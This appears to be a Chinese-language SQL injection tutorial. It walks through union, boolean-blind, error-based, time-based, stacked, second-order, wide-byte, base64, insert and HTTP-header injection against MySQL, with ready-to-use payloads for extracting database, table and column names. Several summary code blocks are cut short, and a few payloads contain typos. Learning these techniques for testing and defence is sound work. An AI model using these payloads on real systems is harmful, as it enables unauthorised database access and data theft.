原理
前端向后端发送某些数据,后端在向数据库发送sql语句请求时,如果没有对相关参数进行严格过滤,则有可能会导致危险的SQL语句被输入数据库中进行查询,从而导致数据库被未授权增删改查。
sql注入要素
1.输入内容的位置没有做限制,用户可以自由控制输入的内容。(参数用户可控)
2.用户输入的内容可以被带入数据库中执行。(参数带入数据库查询)
以后端php语句为例:
1 | $query = "SELECT * FROM users WHERE id = $_GET['id']"; |
那么这里的参数id就是可控的,我们可以任意拼接sql语句进行攻击。
当传入的ID参数为1’时,数据库执行的代码如下图所示
1 | select * from users where id = 1' |
这行sql语句不符合数据库语句规范,所以会产生报错。当传入的ID参数为1 and 1=1时,执行的SQL语句如下所示
1 | select * from users where id = 1 and 1=1 #当为真时 |
因为1=1为真,所以where语句中id=1也为真所以会返回和id=1相同的结果。
因为1=2为假,所以where语句中id=1也为假所以会返回和id=1不同的结果。
这里放一个参考表
MySQL相关知识点
库名、表名、字段名
MySQL5.0版本之后,会在数据库中默认存放一个information_schema的数据库,在这之中,有三个表名需要记住,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA
SCHEMATA表储存用户创建的所有数据库的库名,我需要记住该表中记录数据库库名的字段名为SCHEMA_NAME(库名)
TABLES
TABLES表储存该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库的库名和表名的字段名分别为TABLE_SCHEMA(库名)和TABLE_NAME(表名)。
COLUMNS
COLUMNS表储存用户创建的所有库名、表名和字段名,我们需要记住其中的TABLE_SCHEMA(库名)、TABLE_NAME(表名)和COLUMN_NAME(字段名)。
MySQL查询语句
在不知道任何条件时
1 | SELECT 要查询的字段名 FROM 库名,表名 |
在已知一条条件时
1 | SELECT 要查询的字段名 FROM 库名,表名 WHERE 已知条件的字段名='已知条件的值' |
在已知两条条件时
1 | SELECT 要查询的字段名 FROM 库名,表名 WHERE 已知条件一的字段名='已知条件一的值' AND 已知条件二的字段名='已知条件二的值' |
limit的用法
limit的使用格式为limit m,n;其中m是记录开始的位置,从0开始记录,n是值取n条记录。例如limit 0,1是指从第一条记录开始,取一条记录。
要记住的几个函数
database():当前网站使用的数据库
version():当前mysql版本
user():当前mysql用户
注释符
mysql常见注释符表达方式:#或者–空格或者/**/。
内联注释
1 | 格式:/*!code*/ |
内联注释可以用于整个SQL语句中,用来执行sql语句,例如:
1 | index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 |
内联注释可以用来写入语句中的某一位置来完成绕过。
联合注入(Union)
流程
首先通过手注 1/1’ 和 1 and 1=1/1 and 1=2 判断是否存在SQL注入,如果/左右两边的参数输入后两次的返回结果不一致,则说明存在sql注入。(这里建议使用bp的repeater查看返回包。)
之后使用order by 1-99语句查询该数据表的字段行数,例如,如果访问id=1 order by 3,页面返回与id=1相同的结果,则说明有第三行,如果访问id=1 order by 4,页面返回与id=1不同的结果,则说明不存在第四行,所以行数为三行。
由于是将数据输出到页面上的,所以可以使用联合查询(union注入),并通过order by查询结果,我们可以通过访问以下内容来查看查看回显。
1 | id=-1 union select 1,2,3--+ |
查看回显时如果返回了2:3,说明可以在2和3的位置输入mysql语句,比如使用database(),可以查看返回的数据库信息(这里的返回信息是数据库类型),之后就可以获取数据了。
获取库名
1 | select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA |
获取表名
1 | select table_name from information_schema.tables where table_schema='mysql' limit 0,1 |
获取字段名
1 | select column_name from information_schema.columns where table_schema='mysql' and table_name='usernames' limit 0,1 |
获取字段数据
拿到库名,表名和字段名之后,我们就可以构造SQL语句获取具体的值了。
1 | select username_id from mysql.usernames limit 0,1 |
这里把相关查询语句总结放在这里(Union注入)
1 | #获取长度 |
布尔盲注(Boolean)
流程
判断长度
首先通过在id=1后边添加单引号来判断是否存在SQL注入,之后在通过拼接and 1=1%23和and 2=2%23再次查看(这里%23是#注释符,用于将后边代码命令注释掉)。
如果发现返回包中的返回结果只有yes或者no说明,无法返回数据,只能返回yes或者no,那么合理我们就只能使用Boolean盲注。
首先来判断数据库名长度,id=1后拼接以下命令
1 | ' and length(database())=1--+ |
查询库名
接着逐字符判断的方式来获取数据库库名,数据库苦命范围一般在az,09之间,可能会加一些特殊字符,字母不区分大小写,相关语句如下
1 | ' and substr(database(),1,1)='m'--+ |
之后使用burp的爆破功能爆破其中的’t’的值,通过返回包返回yes或者no来判断是否是该值。
也可以使用ASCII码的方式进行查询,s的ASCII码是115,mysql的ASCII转换函数是ascii(),那么语句就可以改成
1 | ' and ascii(substr(database(),1,1))=115--+ |
那么后边的数据库库名就可以逐步判断了,假如我们前边判断库名长度为5,那么就要往后判断5位,相关语句也要修改。
1 | ' and substr(database(),2,1)='y'--+ |
查询表名
之前查询库名我们在语句中使用了database(),那么我们查询表明就将相应位置替换为查询表名的语句
1 | select table_name from information_schema.tables where table_schema='mysql' limit 0,1 |
那么完整的语句就应该更改为
1 | ' and substr((select table_name from information_schema.tables where table_schema='mysql' limit 0,1),1,1)='s'--+ |
那么用这种方法我们很快就可以查出所有的表名和字段名。
这里把相关查询语句总结放在这里(Boolean盲注):
1 | #获取长度 |
报错注入
流程
如果访问的场景url后缀为?username=1之类的,我们在参数后边拼接’,在数据库执行语句时会因为语法错误报错,输出到页面的结果输出报错信息。
报错注入的格式很多(http://t.csdnimg.cn/KwGiT)这里用updatexml()演示
获取use()的值
1 | ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ |
获取库名
1 | ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ |
之后可以使用select语句获取库名,表明字段名,查询语句与union注入的相同,因为报错注入只显示一条结果,所以需要使用limit语句
1 | #获取use()值 |
时间盲注
时间盲注与布尔盲注很像,首先在url的id=1后拼接单引号查看返回包,如果返回的是no,说明只能返回yes或者no,那我们除了布尔盲注外可以通过查看bp里repeater返回包右下角的响应时间来做判断。
1 | #1秒=1000毫秒 |
流程
查询库名长度
1 | if (length(database())>1,sleep(5),1) |
之后就可以执行库名等的查询了,语句如下
1 | #查询库名(通过查看返回包的响应式时间来判断字母对不对) |
堆叠注入
堆叠查询可以执行多条语句,多语句之间用分号隔开,堆叠注入就是使用这个特点,在第二个SQL语句中构造自己要执行的语句。
流程
首先访问id=1’,页面返回mysql错误,再访问id=1’%23,页面返回正常结果,这里就可以使用布尔盲注,时间注入和堆叠注入。
获取user()值语句
1 | ';select if(substr(user()1,1)='s',sleep(3),1)%23 |
那么相应的构造语句为
1 | #获取长度 |
二次注入
二次注入场景假设:两个页面,页面一(1.php)功能是注册用户名,也是插入SQL语句的地方,页面二(2.php)功能是通过参数ID读取用户名和用户信息。
流程
访问1.php?username=test’,结果返回一个id号为21,这说明用户名test‘对应的id为21,那么我们去另一个页面访问2.php?id=21,如果返回了Mysql的错误,说明这里大概率存在SQL注入。
我们回到第一个页面访问1.php?username=test’ order by 1%23,拿到新的id=32,之后带着新的id=32去访问页面2.php?id=32,返回空白页面。
这时我们再拿一个新的id,访问1.php?username=test’ order by 10%23,拿到一个新的id=33,之后拿着id=33去访问页面2.php?id=33,如果返回Mysql报错(Unknown column ‘10’ in ‘order clause’),说明之前的空白页面是正常返回,之后重复order by来判断字段数量。
假设这里有三个字段,我们通过访问2.php?username=test’ union select 1,2,3%23,获取到新的id=39,之后访问2.php?id=39,发现返回union select中的2和3字段。
那么之后我们就可以在2和3的位置插入查询语句,比如访问1.php?id=test’ union select 1,user(),3%23,获取新的id=40,得到user()的结果。
查询语句与联合注入相同,只是查看返回结果时,要拿1.php页面的id号去2.php查看。
1 | #获取长度 |
宽字节注入
当出现以下场景:
当访问id=1’返回的结果没有报错,而是返回了查询语句并将’前加入了一个转义符\,如下所示
1 | SELECT * FROM users where id='1\'' limit 0,1 |
此处说明参数id=1在数据库查询时是被单引号包围的,当传入id=1’时,传入的单引号被\转义,导致参数ID无法逃逸单引号的包围,所以一般情况下,此处是不存在SQL注入漏洞的,但是有一个特例,当数据库编码为GBK时,可以使用宽字节注入。
宽字节注入格式是在地址后加一个%df,再加单引号,因为反斜杠的编码是%5c,而在GBK编码中,%df%5c是繁体字’縗’,所以这时,单引号成功逃逸,爆出mysql数据库错误。
由于输入的参数id=1’,导致SQL语句多了一个单引号,所以需要使用注释符来注释自身的单引号,访问id=1%df%23,,此时\和%df一起被转义了,所以单引号成功逃逸,SQL语句就符合语法规范。
之后就可以结合union注入的语句进行查询了,但是格式需要作出一定的改变
流程
1 | #判断注入 |
cookie注入
总体流程和union注入一样,不一样的点在于,不是在url处返回id=1,而是在cookie处返回url等于1。
base64注入
总体流程和union注入一样,不一样的点在于,ID参数被base64位编码了,我们的查询语句要经过base64位编码。(%3d是url编码)
流程
1 | #获取长度 |
insert注入
和报错注入大差不差,但是取消了注释符,换成了and’或者or’
payload
1 | #获取use()值 |
http头注入
如果http头部参数例如User-agent,Referer,XFF,cookie等地方
UA头注入
这是一种基于insert注入的场景,添加’看是否报错判断是否存在注入点,之后使用insert注入的payload来进行sql测试
1 | User-Agent: ' and updatexml(1,concat('~',database()),1) and ' |
Referer注入
和UA头差不多,只是位置换成了Referer的位置
1 | Referer: ' and updatexml(1,concat('~',database()),1) and ' |
Cookie注入
也差不多,但是换个位置
1 | Cookie:user=admin ' and updatexml(1,concat('~',database()),1) and ' |
XFF注入
如果http请求头有一个头部参数为X-Forwarded-for(简称XFF头),他代表了客户端真实ip,通过修改XFF值可以伪造客户端ip,如果将XFF设置为127.0.0.1,然后访问该url页面返回正常。
之后尝试将127.0.0.1加上’,即127.0.0.1’再次访问,页面返回报错信息,之后通过and 1=1#和and 1=2#再次访问判断是否存在SQL注入,之后使用union注入的方法完成注入。